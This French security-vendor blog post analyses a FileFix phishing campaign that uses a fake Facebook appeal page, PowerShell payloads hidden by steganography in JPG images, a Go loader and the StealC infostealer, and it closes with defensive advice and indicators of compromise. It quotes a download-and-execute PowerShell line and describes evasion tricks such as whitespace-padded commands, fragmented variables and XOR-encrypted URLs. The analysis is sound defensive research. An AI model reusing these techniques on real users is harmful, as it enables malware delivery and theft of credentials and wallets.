La nouvelle campagne FileFix va au-delà du POC et exploite la stéganographie

Auteur : Eliad Kimhy

• Première utilisation sophistiquée de FileFix en environnement réel : les chercheurs TRU d'Acronis ont découvert un exemple rare de campagne FileFix active, il s'agit du premier exemple d'une telle attaque qui ne respecte pas strictement la conception de la POC d'origine (proof of concept, preuve de concept en français).

• Augmentation des attaques et des variantes *Fix : ces derniers mois, les attaques ClickFix ont augmenté de plus de 500 % et de nouvelles variantes de ClickFix ont été développées, telles que FileFix. FileFix a été théorisé et développé pour la première fois en POC début juillet par le chercheur Mr. d0x.

• Infrastructure de phishing sophistiquée : la campagne observée utilise un site de phishing multilingue très convaincant (par ex., une fausse page de sécurité Facebook), avec des techniques anti-analyse et une obfuscation avancée pour échapper à la détection.

• Stéganographie utilisée pour dissimuler un code malveillant : l'attaque utilise uniquement la stéganographie en intégrant à la fois un script PowerShell de deuxième phase et des charges actives chiffrées et exécutables dans des images JPG apparemment inoffensives. Ces images sont téléchargées par la charge active initiale et analysées pour extraire et exécuter des composants malveillants, ce qui rend la détection plus difficile.

• Charges actives multi-phases avec obfuscation et évasion en couches : la chaîne d'infection est construite autour d'un système de livraison de charges actives multi-phases, en commençant par une commande PowerShell hautement obfusquée qui fragmente et code ses composants pour échapper à la détection. Les phases suivantes déchiffrent, décompressent et exécutent des charges actives supplémentaires à l'aide de techniques telles que la construction de commandes basées sur des variables, l'encodage Base64 et les URL chiffrées, toutes conçues pour maximiser la furtivité et contourner les contrôles de sécurité.

• La charge active finale fournit le voleur d'informations StealC : la dernière phase déploie un chargeur (écrit en Go, avec des vérifications machine virtuelle/sandbox et un chiffrement de chaîne) qui exécute le voleur d'informations StealC, ciblant les navigateurs, les portefeuilles de cryptomonnaie, les applis de messagerie et les identifiants dans le cloud. StealC est par ailleurs en mesure de charger d'autres malwares.

• Évolution rapide et ciblage mondial : la campagne a évolué rapidement au cours des deux dernières semaines, avec de multiples variantes et charges actives observées. Un taux croissant de détections liées à la campagne indique que l'attaque pourrait s'accélérer. L'infrastructure et le support multilingue indiquent une stratégie de ciblage mondiale, avec des victimes présumées dans de nombreux pays.

La semaine dernière, les chercheurs de l'Acronis Threat Research Unit ont découvert un exemple rare d'attaque FileFix en environnement réel, une nouvelle variante du désormais tristement célèbre vecteur d'attaque ClickFix. L'attaque découverte exploite non seulement FileFix, mais constitue, à notre connaissance, le premier exemple d'une telle attaque qui ne respecte pas strictement la conception de la POC d'origine (preuve de concept) demonstrated by Mr. d0x en juillet 2025. En outre, l'attaque comporte un site de phishing sophistiqué et une charge active, à bien des égards en avance sur ce que nous attendions des attaques ClickFix ou FileFix observées dans le passé (à quelques exceptions notables près).

Cette recherche est non seulement un exemple fascinant de la rapidité avec laquelle une POC peut être transformée en un vecteur d'attaque (et de l'importance de rester à jour sur ce type de recherche), mais elle est également en soi un exemple formidable d'attaque *Fix, qu'il s'agisse de ClickFix ou de FileFix. L'adversaire à l'origine de cette attaque a démontré un investissement important dans le métier, en concevant soigneusement l'infrastructure de phishing, la livraison de la charge active et les éléments de soutien pour maximiser à la fois l'évasion et l'impact. Il s'agit de l'une des instances les plus sophistiquées d'attaques *Fix que notre équipe ait observées à ce jour.

De nombreuses techniques utilisées dans l'attaque peuvent efficacement être utilisées pour toute attaque ClickFix ou FileFix et devraient donc être surveillées par ceux qui sont concernés par l'augmentation des attaques *Fix. Elles comprennent un site de phishing intégrant des mécanismes anti-analyse tels que le renommage et la minification de fonctions, ainsi que des leurres multilingues, outre une charge active PowerShell personnalisée qui récupère un script de deuxième phase et un exécutable à partir d'une image JPG via la stéganographie, et obfusque son activité par l'utilisation de variables. Les trois derniers sont assez rares dans le contexte de ClickFix et FileFix, et la stéganographie, en particulier, n'est habituellement pas quelque chose qui est diffusé directement via une charge active *Fix.

Dans ce blog, nous vous apportons une analyse complète et détaillée de l'attaque, pour aider les équipes de sécurité à détecter et à atténuer les attaques *Fix.

Les attaques AllFix ou *Fix désignent collectivement un groupe de techniques d'attaque qui comprend ClickFix, FileFix, PromptFix et d'autres variantes, qui semblent apparaître à un rythme alarmant ces derniers mois.

L'idée principale derrière ce type de technique est d'inciter la victime à faire le sale boulot de l'attaquant : la victime est invitée à copier et coller la charge active de l'attaquant dans son propre terminal (ou d'autres parties applicables du système d'exploitation, telles que la boîte de dialogue Exécuter de Windows), puis à l'exécuter de son propre chef. En substance, c'est l'équivalent en matière de cybersécurité d'un pickpocket qui demande poliment à sa cible si elle peut simplement lui remettre son portefeuille, sa maison et ses clés de voiture, au lieu de se donner du mal à lui faire les poches.

La raison derrière cela dépend du type d'attaque et de l'ingénierie sociale utilisée. Le type d'attaque *Fix le plus courant, ClickFix, demande à l'utilisateur d'effectuer un faux test CAPTCHA, mais au lieu d'une suite interminable de feux de signalisation ou de vélos à identifier, les victimes reçoivent une instruction simple : appuyez sur Win+R pour ouvrir la boîte de dialogue Exécuter de Windows, collez une commande avec Ctrl+V (souvent cachée derrière un texte comme « Je ne suis pas un robot »), et appuyez sur Entrée. « Trop simple », pourrait penser l'utilisateur, quelques instants avant que sa machine ne soit infectée par un voleur d'informations, un ransomware ou autre.

Aussi improbable que cela puisse paraître, ClickFix a connu un essor fulgurant ces derniers mois et a été utilisé dans des attaques de divers degrés de complexité et d'intention, allant des voleurs ordinaires aux États-nations qui déposent des chevaux de Troie à accès distant. J'aimerais pouvoir dire que ces types d'attaques reposent strictement sur une ingénierie sociale très sophistiquée, ce qui est le cas pour certaines, bien sûr. Mais beaucoup d'autres se contentent de demander à l'utilisateur de coller une commande dans son terminal pour prouver qu'il est un être humain, eh oui. Est-ce astucieux ? Non. Est-ce efficace ? Apparemment. C'est peut-être un autre exemple de solution à un problème (mesures bot et anti-bot), qui conduit ensuite à un autre problème (les mesures anti-bot étant si compliquées et épuisantes, que coller une commande sur un terminal semble acceptable ou peut-être considéré comme une approche plus simple).

FileFix est un peu différent de ClickFix et, dans notre cas, il s'agit également d'une attaque par ingénierie sociale assez convaincante. Une attaque FileFix renonce à amener l'utilisateur à activer le terminal ou ouvrir la boîte de dialogue Exécuter via le raccourci clavier Win + R. Au lieu de cela, une attaque FileFix exploitera la fonctionnalité de transfert de fichier en HTML pour créer un bouton de transfert. Dans une situation sans danger, lorsqu'on appuie en environnement Windows sur le bouton de transfert de fichier, cela ouvre une fenêtre de l'Explorateur de fichiers et permet à l'utilisateur de transférer des fichiers vers un site. Cependant, dans le cadre d'une attaque FileFix, l'utilisateur est amené à coller une commande malveillante dans la barre d'adresse de l'Explorateur de fichiers, qui exécutera ensuite la commande localement sur la machine de l'utilisateur. Cela offre aux attaquants un avantage potentiel par rapport à une attaque ClickFix classique, dont nous parlerons plus loin dans le blog.

Comme mentionné, l'attaque s'articule autour d'un site de phishing. En se basant sur d'autres exemples de ClickFix et sur des indices contextuels provenant du site de phishing lui-même, il est probable que la victime soit dirigée vers le site de phishing par le biais d'un e-mail de phishing. Dans cet e-mail, il est également probable que l'attaquant se fasse passer pour la sécurité de Facebook, informant la victime d'une fermeture imminente de son compte et l'incitant à agir en se rendant sur le site de phishing.

Une fois sur le site de phishing, la victime est confrontée à une sombre perspective : son compte a été signalé et sera suspendu dans sept jours (l'attaquant a même utilement fourni la date à laquelle le compte sera suspendu). Pire encore, si aucune action n'est entreprise dans un délai de 180 jours, le compte sera supprimé. La victime a alors la possibilité de faire appel, directement sur la page. Quelle chance !

Lorsque la victime choisit de faire appel, elle est informée que l'équipe Meta lui a envoyé un lien qui la conduira vers un fichier PDF. Pour afficher le fichier et les instructions permettant de faire appel de la suspension, elle doit ouvrir l'Explorateur de fichiers et coller le chemin d'accès au fichier PDF. Hélas, l'« Explorateur de fichiers » ouvert est en réalité une fenêtre de transfert de fichiers, et le chemin qu'elle a collé dans sa barre d'adresse une charge active. À la fin de son exécution, la charge active génère une alerte indiquant « Aucun fichier n'a été trouvé » et, le bouton Continuer de la page génère une erreur similaire, indiquant « Veuillez suivre les étapes ». La victime se retrouve ainsi bloquée, sans fichier et sans possibilité de poursuivre son recours.

Pendant ce temps, en arrière-plan, la charge active exécute un script PowerShell en plusieurs phases. Ce script télécharge une image, la décode en une deuxième phase, puis utilise à la fois le script et la même image pour déchiffrer et déposer un exécutable, qui à son tour fournit un shellcode supplémentaire. Les sections suivantes parcourent en détail la chaîne d'attaque dans son intégralité.

Tout au long de notre enquête, une chose est rapidement devenue une évidence : les auteurs de cette menace ont déployé beaucoup d'efforts dans tous les aspects de l'attaque. Cela vaut non seulement pour les différents scripts obscurcis et les charges actives cryptées, mais aussi pour le site de phishing même qui lance l'attaque.

C'est ici que FileFix fait l'une de ses premières apparitions en dehors d'une POC. D'autres exemples ont surgi dans les semaines qui ont suivi la publication par Mr. d0x de son blog original sur la technique, mais pour la plupart, ces exemples semblaient être des expérimentations ou des tests. L'un est une copie conforme de la POC de Mr. d0x et l'autre semble être une légère variation de la POC. Ces deux exemples sont intéressants, mais la technique se distingue à peine d'un site ClickFix classique.

Mais, une fois libéré de la routine CAPTCHA traditionnelle utilisée par de nombreux sites ClickFix, FileFix peut révéler tout son potentiel. Le choix d'une page de sécurité Facebook constitue un leurre d'ingénierie sociale convaincant. Et bien que les attaques ClickFix ne manquent pas de tirer parti de prétextes tout aussi créatifs, FileFix semble un peu moins invasif et peut donc s'avérer plus persuasif. Après tout, de nombreux utilisateurs n'auront jamais ouvert le Terminal de leur vie, mais qui n'a pas utilisé la fenêtre de transfert de fichiers au moins une fois ?

D'un point de vue technique, FileFix présente plusieurs différences par rapport à ClickFix. D'une part, la fenêtre de transfert de fichiers requise par FileFix est probablement disponible pour la plupart des utilisateurs, dans la plupart des environnements, alors qu'il est tout à fait envisageable qu'un utilisateur soit empêché d'accéder à son terminal ou à la boîte de dialogue Exécuter, ce qui atténue l'efficacité de ClickFix. D'autre part, l'une des raisons pour lesquelles ClickFix est si difficile à détecter est qu'il est généré par Explorer.exe via la boîte de dialogue Exécuter ou directement par un terminal, alors qu'avec FileFix, la charge active est exécutée par le navigateur Web utilisé par la victime, ce qui est bien plus susceptible d'être détecté par une enquête ou une solution de sécurité. En dehors de cela, les deux techniques sont assez similaires.

La partie intéressante (c'est-à-dire malveillante) du site de phishing est écrite en JavaScript et comporte de nombreux éléments d'obfuscation, ainsi que certaines fonctionnalités destinées à augmenter la portée et le succès de l'attaque.

À première vue, le site semble tout à fait normal et, en fait, lorsqu'il est apparu pour la première fois sur notre radar, nous aurions pu le considérer comme un faux positif : aucun des éléments de texte CAPTCHA caractéristiques de ClickFix n'était présent, ce qui est un signe révélateur. Mais un examen plus attentif a donné des résultats surprenants. En effet, ce site était malveillant et l'intégralité du script avait été minifiée, réduite à une douzaine de lignes sur les quelque 18 000 lignes présentes dans le script.

Le site présente une forte obfuscation et a été écrit en utilisant plusieurs techniques anti-analyse. Les variables et les noms de fonctions sont constitués de combinaisons de lettres aléatoires, et le code est fragmenté et réparti dans tout le script. Le code mort et la désinformation sont monnaie courante. Mais ne vous méprenez pas, bien que cela ne soit pas standard pour les sites ClickFix, il s'agit d'une technique assez courante pour les malwares basés sur JavaScript. Cependant, dans notre cas, l'obfuscation s'est avérée difficile à déchiffrer, nous obligeant à fouiller des milliers de lignes de code, de variables et de fonctions (comme les auteurs du site l'avaient probablement prévu). Cela rend l'expérience difficile, et nous ne pouvons pas être sûrs d'avoir découvert tout ce que ce code a en stock.

Nous avons toutefois pu trouver des traductions dans 16 langues, dont l'arabe, le russe, l'hindi, le japonais, le polonais, l'allemand, l'espagnol, le français, le malais, l'ourdou, etc. Beaucoup de travail a été consacré à la création du site et l'intention est claire : maximiser la portée de l'attaque.

Nous avons découvert plusieurs variantes du même site, toutes actives au cours des deux dernières semaines, chacune avec des charges actives légèrement différentes, des techniques différentes, des fichiers différents et, parfois, des prétextes d'ingénierie sociale différents. En parcourant les versions précédentes du site, on peut retracer l'évolution de l'attaque, tant du point de vue de l'ingénierie sociale que du point de vue technique. Il semble que le groupe derrière cette attaque travaille lentement à la perfection de sa méthodologie.

La charge active est diffusée sous la forme d'une seule ligne de code : une commande PowerShell partiellement obfusquée en Base64 et fragmentée de la même manière que le code JavaScript utilisé pour le site de phishing. Il s'agit d'une méthode de diffusion inhabituellement complexe pour une attaque *Fix. La plupart des charges actives que nous avons observées étaient en texte clair, certaines montrant une obfuscation partielle, mais aucune n'était aussi complexe. Dans le contexte d'une attaque FileFix, il s'agit d'une approche unique et inhabituellement complexe, qui constitue un sujet de recherche intéressant.

De toutes les phases de cette attaque, ce script de charge active initial est notre partie préférée. Alors que la victime est confrontée à la tragique suppression de son compte Facebook, et qu'elle colle la commande malveillante dans la barre d'adresse de transfert de fichier, attendant consciencieusement de voir le « Rapport d'incident » qui fera la lumière sur le processus d'appel, plusieurs choses se produisent en arrière-plan, et tout commence par une image.

Imaginez une scène idyllique : une belle maison dans un pré, des pâquerettes au premier plan ; un gros plan d'un escargot qui a trouvé refuge sur des feuilles couvertes de rosée. Chaque charge active (parmi les nombreuses que nous avons déjà documentées) commence par l'une de ces images. Mais ces fichiers JPG ne sont pas simplement déposés pour le plaisir des yeux. Chaque image contient un script PowerShell de deuxième phase et une charge active exécutable. Chaque image est légèrement différente et les charges actives diffèrent d'une version du site à l'autre. Les images semblent toutes avoir été générées par l'intelligence artificielle (bien que nous ne puissions pas en être sûrs). Il est quelque peu absurde d'imaginer que les auteurs de l'attaque demandent une « représentation sereine d'une maison dans la prairie », juste pour pouvoir y injecter un code malveillant. Mais nous vivons dans une époque où cela semble être la norme.

Mais revenons-en à nos moutons. La charge active initiale, celle que l'utilisateur saisit volontairement dans la barre d'adresse du navigateur pour télécharger et exécuter le fichier, ressemble à ceci :

Quelques points à noter ici :

1.      Afin de faire croire à l'utilisateur qu'il colle le chemin d'accès à un fichier PDF de « rapport d'incident », l'attaquant a placé une variable à la fin de la charge active, contenant de nombreux espaces et le faux chemin à la fin. Cela est fait afin que seul le chemin du fichier apparaisse dans la barre d'adresse, et aucune des véritables commandes malveillantes. Dans une attaque ClickFix classique, cela se fait en utilisant le symbole # plutôt qu'une variable, qui est interprété par PowerShell comme un commentaire de développeur. Cela présente l'avantage involontaire que toute personne ayant fondé ses détections sur la recherche du symbole « # » de ClickFix peut le manquer.

2.      Il s'agit d'une commande remarquablement longue, sensiblement plus que la charge active moyenne de ClickFix. Elle inclut non seulement une charge active codée en Base64, mais elle a également décomposé toutes les classes et tous les espaces de noms utilisés dans le script en plusieurs composants plus petits, et les a stockés sous forme de variables. Ces variables sont ensuite invoquées pour reconstruire la commande complète. Cela améliore considérablement le caractère évasif du script face à la détection qui repose sur des modèles pour déterminer la malveillance.

3.      L'attaquant utilise BitBucket pour diffuser l'image utilisée dans l'attaque. Comme nous avons observé l'évolution de la charge active au cours des deux dernières semaines, nous voyons l'attaquant passer de domaines malveillants qu'il contrôle, tels que elprogresofood[.]com, à l'hébergement principalement sur BitBucket. Cette méthode lui permet d'échapper à la détection et supprime la nécessité de continuer à enregistrer et à gérer des domaines malveillants.

Comme si la stéganographie, l'obfuscation et la fragmentation des commandes ne suffisaient pas, l'attaquant a poussé le vice jusqu'à chiffrer l'URL dans certaines variantes de la charge active. L'URL est chiffrée par combinaison XOR, en utilisant une clé codée en dur dans la charge active, puis encodée en octets hexadécimaux. L'URL chiffrée qui en résulte est déchiffrée et codée au moment de l'exécution.

Le cœur de la charge active se trouve à l'intérieur du bit codé en Base64 :

$p_fist=-join($env:TEMP,'\zd746f1ce1c0.jpg'); Invoke-WebRequest -Uri $u -Method Get -OutFile $p_fist -ErrorAction Ignore; $image_bytes=$ifr.Invoke($p_fist); $p_bytes=$image_bytes[1101253..($image_bytes.Length-1)]; $e.GetString($p_bytes)|iex;

Ici, le script télécharge l'image dans le dossier Temp de la victime, puis extrait un script PowerShell de deuxième phase qui est stocké à un index spécifique dans le fichier image. Une fois extrait et converti en chaîne, le script est exécuté.

Le travail du script de deuxième phase est d'extraire une charge active malveillante de l'image. Oui, nous retournons donc à notre charmant écrin de verdure pour récupérer notre charge active. Contrairement au script de deuxième phase, qui est stocké dans l'image en texte brut (et est donc détectable, même si le fichier image lui-même n'est pas malveillant et ne déclenche pas d'alerte), les charges actives exécutables sont chiffrées dans l'image. Le script de deuxième phase commence par la mise en place de deux fonctions : l'une pour déchiffrer les fichiers par RC4, et l'autre pour décompresser les fichiers par gzip.

Une fois celles-ci définies, le script se charge d'extraire le ou les fichiers :

Le script peut extraire plusieurs fichiers et délivrer des DLL et des exécutables. Une fois les index fournis pour le point de départ et le point d'arrivée de chaque fichier dans l'image, le script procède à l'extraction et au déchiffrement de chaque fichier, en identifiant l'extension du fichier, puis en exécutant chaque fichier de la manière appropriée (de sorte qu'il n'exécute, par exemple, pas un fichier DLL). Chaque fichier EXE est exécuté via conhost.exe, puis supprimé au terme de 12 minutes. Enfin, un faux message d'erreur apparaît, indiquant à la victime qu'il « est impossible d'ouvrir le fichier ».

Ce qui nous ramène au point de départ. Du point de vue de l'utilisateur, il n'a fait que coller le chemin d'accès au fichier, comme indiqué. Puis, quelques instants plus tard, il reçoit un message d'erreur indiquant que le fichier ne peut être ouvert. Il ne peut avancer sur le site de phishing tant qu'il n'aura pas ouvert le fichier. Il est donc bloqué. Pendant ce temps, en arrière-plan, une charge active a été déposée et exécutée sur sa machine.

Il peut y avoir plusieurs raisons pour lesquelles l'attaquant a choisi de diviser son script en deux phases. D'une part, l'intégration de la deuxième phase dans le fichier image permet à l'attaquant de disposer d'une plus grande flexibilité pour modifier les fichiers qui sont déposés sans modifier la charge active sur le site de phishing. Une autre raison peut être liée à l'évasion, car la réduction de la taille de la commande codée en Base64 pourrait moins attirer l'attention.

Dans l'ensemble, cette chaîne de scripts est unique dans le paysage des charges actives *Fix. Cette approche offre à l'attaquant une plus grande discrétion que d'habitude, avec des efforts clairs en matière d'évasion et une charge active suffisamment flexible pour déployer un large éventail de malwares dans différents scénarios. La stéganographie utilisée est intéressante à plusieurs égards et n'est pas couramment observée, en particulier dans le cadre des attaques *Fix. Elle offre à l'attaquant une couche de discrétion supplémentaire, car les défenseurs ne soupçonneront pas qu'un fichier image est téléchargé et cela ne déclenchera pas d'alarme. Tout cela contribue à créer une infection complexe et sophistiquée, en particulier par rapport à d'autres attaques exploitant ClickFix et FileFix. 

Et maintenant, la charge active ; le joyau de la couronne ; la pièce de résistance ! Eh bien, dans ce cas, peut-être pas tant que ça. Ne nous méprenez pas : il s'agit d'un chargeur intéressant, écrit en Go et utilisant à la fois des vérifications de machine virtuelle et des techniques d'obfuscation et, enfin, déchiffrant et chargeant le shellcode en mémoire. Ce shellcode décompresse ensuite StealC, un voleur d'informations populaire et performant qui peut également être utilisé comme programme de téléchargement et chargement en cas de besoin. Ce n'est pas trop mal, mais nous espérions plus ; peut-être que ce n'est pas tout. Au cours des deux dernières semaines, nous avons vu la charge active évoluer, croître et changer, et pour l'instant, la méthodologie d'attaque semble continuer à permuter.

Mais commençons par le commencement. Une fois exécutée par le script de deuxième phase, la charge active commence un test de sandboxing pour voir si elle s'exécute dans une machine virtuelle. Il s'agit d'un contrôle assez basique : la charge active déchiffre une liste de noms de cartes graphiques couramment utilisés dans les machines virtuelles et les environnements de sandboxing. Elle fait ensuite appel à la fonction EnumDisplayDevicesA et vérifie chaque terminal par rapport à la liste des cartes graphiques placées sur liste noire. Heureusement pour nous, ce contrôle peut facilement être contourné.

En passant, chaque chaîne exécutée par le chargeur est chiffrée, y compris les noms de chaque appel d'API. Le chargeur a plusieurs fonctions dédiées à la saisie des noms d'appels d'API tels que EnumDisplayDevicesA, NtAllocateVirtualMemory, etc. Ironie du sort, la seule chose qui n'est pas chiffrée (du moins au moment de la rédaction de cet article) est le nom même des fonctions qui déchiffrent et stockent les noms d'appel d'API en mémoire, judicieusement baptisées getNtAllocateVirtualMemory, getEnumDisplayDevicesA, etc. Il n'est pas exagéré de penser que ce que nous observons est un travail en cours, les attaquants cherchant sans doute à améliorer les fonctionnalités de ce chargeur et à y ajouter une autre charge active.

Enfin, une fois le contrôle de la machine virtuelle réussi (ou contourné), le chargeur déchiffre et charge le shellcode qui est à l'origine de l'infection par StealC. Ce dernier, pour sa part, collecte des informations sur l'environnement de l'utilisateur, notamment des mots de passe, des informations sur le navigateur Web, des applications de jeu et de chat populaires, ainsi que des données de cryptomonnaie, et les renvoie à l'attaquant.

Au cours de notre examen, StealC tente de voler des informations à partir d'une longue liste de programmes : des navigateurs tels que Chrome, FireFox, Opera, Explorer, QQ Browser, Quark, UC Browser, Sogou Explorer et Maxthon. Il recherche des portefeuilles de crypto-monnaie tels que Bitcoin, Dogecoin, Ravencoin, Daedalus, Mainnet, Blockstream Green, Wasabi Wallet, Ethereum, Electrum, Electrum-LTC, Ledger Live, Exodus, Electron Cash, MultiDoge, Jaxx Liberty, Atomic Wallet, Binance, Coinomi et Guarda. Il recherche également des informations dans des applications de messagerie, de VPN et de base de données, telles que Thunderbird, Telegram, Discord, Tox, Pidgin, Ubisoft Game Launcher, Battle.net, OpenVPN et ProtonVPN, ainsi que des clés Azure et AWS.

Nous avons, au cours de notre enquête, découvert plusieurs itérations de l'attaque, remontant à deux semaines. Ces itérations nous ont permis de retracer l'évolution de la technique d'ingénierie sociale et des aspects plus techniques de l'attaque. Il est possible que l'attaquant ait testé une infrastructure qu'il prévoit d'utiliser à l'avenir, ou qu'il ait ajouté ces itérations à l'attaque en cours de campagne, afin de s'adapter et de s'améliorer.

En deux semaines, nous avons observé une évolution de la charge active. À partir d'une charge active PowerShell à une seule phase, qui comprenait l'intégralité du script, y compris les parties qui extraient et déchiffrent la charge active exécutable, nous l'avons vu se transformer en un script à deux phases que nous voyons aujourd'hui, puis évoluer davantage pour inclure une liste potentielle de fichiers .exe et .dll à déposer. La stéganographie a été un élément clé de l'attaque tout au long de cette période et ce, dès le début. La dernière itération de l'attaque semble charger l'intégralité du script de la première phase à partir d'un fichier .log hébergé sur Bitbucket, le reste de l'attaque restant inchangé.

Les charges actives exécutables ont également changé. Les attaques plus anciennes ont livré des binaires OLLVM obfusqués au lieu du chargeur de shellcode Go que nous avons décrit.

Et enfin, l'aspect d'ingénierie sociale de l'attaque a également légèrement changé : le prétexte initial était lié au transfert par l'utilisateur de son identifiant pour éviter la suppression du compte, et le fichier qu'il avait été invité à consulter était simplement des instructions sur la façon de transférer son identifiant sur le site. Cela a changé dans les itérations ultérieures en un document qui détaille les violations supposées de la victime, bien que, curieusement, le langage concernant le besoin pour l'utilisateur de transférer son identifiant ait été laissé.

Cela implique une infrastructure évolutive, qui tente continuellement de perfectionner l'utilisation de FileFix et de son script en deux phases associé, tout en restant suffisamment flexible pour pouvoir déposer n'importe quelle charge active sur la machine de la victime. Nous veillerons à suivre cette menace dans l'espoir d'en apprendre davantage à l'avenir.

Une analyse des soumissions de fichiers et de sites de phishing de VirusTotal (VT) associés à cette attaque suggère que la campagne ne se limite pas à un seul pays ou à une seule région. Cela est loin d'être définitif, mais nous voyons des soumissions d'outils et de sites de phishing dans VT en provenance des États-Unis, du Bangladesh, des Philippines, de la Tunisie, du Népal, de la République dominicaine, de la Serbie, du Pérou, de la Chine, de l'Allemagne et d'autres. Ceci, ainsi que les différentes traductions linguistiques sur le site de phishing, peut indiquer que l'attaque vise à cibler des victimes à travers le monde.

De même, il est difficile de déterminer l'identité de l'attaquant. Nous avons découvert que l'adresse principale de C2, 77[.]90[.]153[.]225, est située en Allemagne. Ce fait en lui-même n'est toutefois pas suffisant pour déterminer avec précision l'identité ou l'emplacement de l'attaquant. Les techniques utilisées et la complexité de la diffusion de la charge active, qui comprend plusieurs phases, la stéganographie, l'obfuscation et le chiffrement, indiquent qu'il s'agit d'un attaquant plus sophistiqué et organisé.

Nous avons déjà vu ClickFix passer de la phase de POC à des attaques en environnement réel, et gagner en popularité ces derniers mois. Nous constatons maintenant la même tendance avec FileFix : de la phase de POC à une campagne en environ 2 mois. De plus, l'attaque est diffusée de manière très sophistiquée, avec une multitude de techniques d'obfuscation et d'anti-analyse destinées à lui permettre de passer en toute sécurité sous le radar et d'avoir un impact maximal.

Alors que nous continuons à observer l'évolution de la campagne, nous continuons également à rechercher des évolutions dans l'infrastructure, la méthodologie et la charge active de l'attaque, et à tenter d'obtenir un aperçu de l'identité des attaquants. Cette attaque, et son utilisation astucieuse de FileFix, nous amène à nous demander comment l'utilisation de FileFix évoluera à l'avenir, et si elle supplantera ou dépassera ClickFix en tant que technique d'attaque. D'ici là, nous suivrons de près cette campagne, et d'autres comme elle, et vous proposerons des recommandations qui devraient aider vos équipes de sécurité à s'en défendre.

Les clients d'Acronis XDR sont protégés contre l'attaque. Acronis XDR détecte l'attaque à la fois au moment où la charge active PowerShell est exécutée et au moment où l'exécutable de la charge active est lancé.

Deux recommandations s'imposent pour la gestion de cette attaque, et de FileFix en particulier.

La première est la sensibilisation. Ces dernières années, les utilisateurs ont pris conscience des attaques de phishing, plus particulièrement celles menées par des pièces jointes. Pour que les attaques *Fix ne deviennent pas un angle mort dans la sensibilisation des utilisateurs aux attaques de phishing, nous devons les informer sur ces types d'attaques et les aborder lors des formations en entreprise sur les attaques de phishing. Cela devrait au moins inciter les utilisateurs à la prudence avant de suivre ces types d'instructions. La formation devrait notamment porter sur l'utilisation du presse-papiers, un élément commun des attaques *Fix, et les utilisateurs devraient être avertis de tout site Web leur demandant de coller quoi que ce soit dans n'importe quelle partie de leur système d'exploitation.

La deuxième recommandation est de bloquer le chemin d'exécution de cette attaque. Les équipes de sécurité doivent être à l'affût et, si possible, empêcher toute exécution de PowerShell, CMD, MSIEXEC ou MSHTA qui se lance en tant que processus enfant de n'importe quel navigateur Web sur la machine. Cette mesure ne devrait pas trop perturber les opérations commerciales de l'entreprise, mais empêchera le lancement de cette attaque.

Une autre technique de prévention possible pourrait être de cibler toute image téléchargée via une commande PowerShell. Si le téléchargement de l'image peut être empêché ou si l'image peut être mise en quarantaine suffisamment rapidement, l'attaque sera arrêtée avant que la charge active ne soit déposée.

70AE293EB1C023D40A8A48D6109A1BF792E1877A72433BCC89613461CFFC7B61

06471E1F500612F44C828E5D3453E7846F70C2D83B24C08AC9193E791F1A8130

08FD6813F58DA707282915139DB973B2DBE79C11DF22AD25C99EC5C8406B234A

2654D6F8D6C93C7AF7B7B31A89EBF58348A349AA943332EBB39CE552DDE81FC8

FD30A2C90384BDB266971A81F97D80A2C42B4CEC5762854224E1BC5C006D007A

1D9543F7C0039F6F44C714FE8D8FD0A3F6D52FCAE2A70B4BC442F38E01E14072

1801DA172FAE83CEE2CC7C02F63E52D71F892D78E547A13718F146D5365F047C

7022F91F0534D980A4D77DF20BEA1AE53EE02F7C490EFBFAE605961F5170A580

B3CE10CC997CD60A48A01677A152E21D4AA36AB5B2FD3718C04EDEF62662CEA1

77[.]90[.]153[.]225

facebook[.]meta-software-worldwide[.]com

facebook[.]windows-software-downloads[.]com

facebook[.]windows-software-updates[.]cc

facebook[.]windows-software-updates[.]com

elprogresofood[.]com

mastercompu[.]com

thanjainatural[.]com

Bitbucket[.]org/pibejiloiza/

Bitbucket[.]org/brubroddagrofe/

Bitbucket[.]org/creyaucuronna-4413/

Grabify[.]link/5M6TOW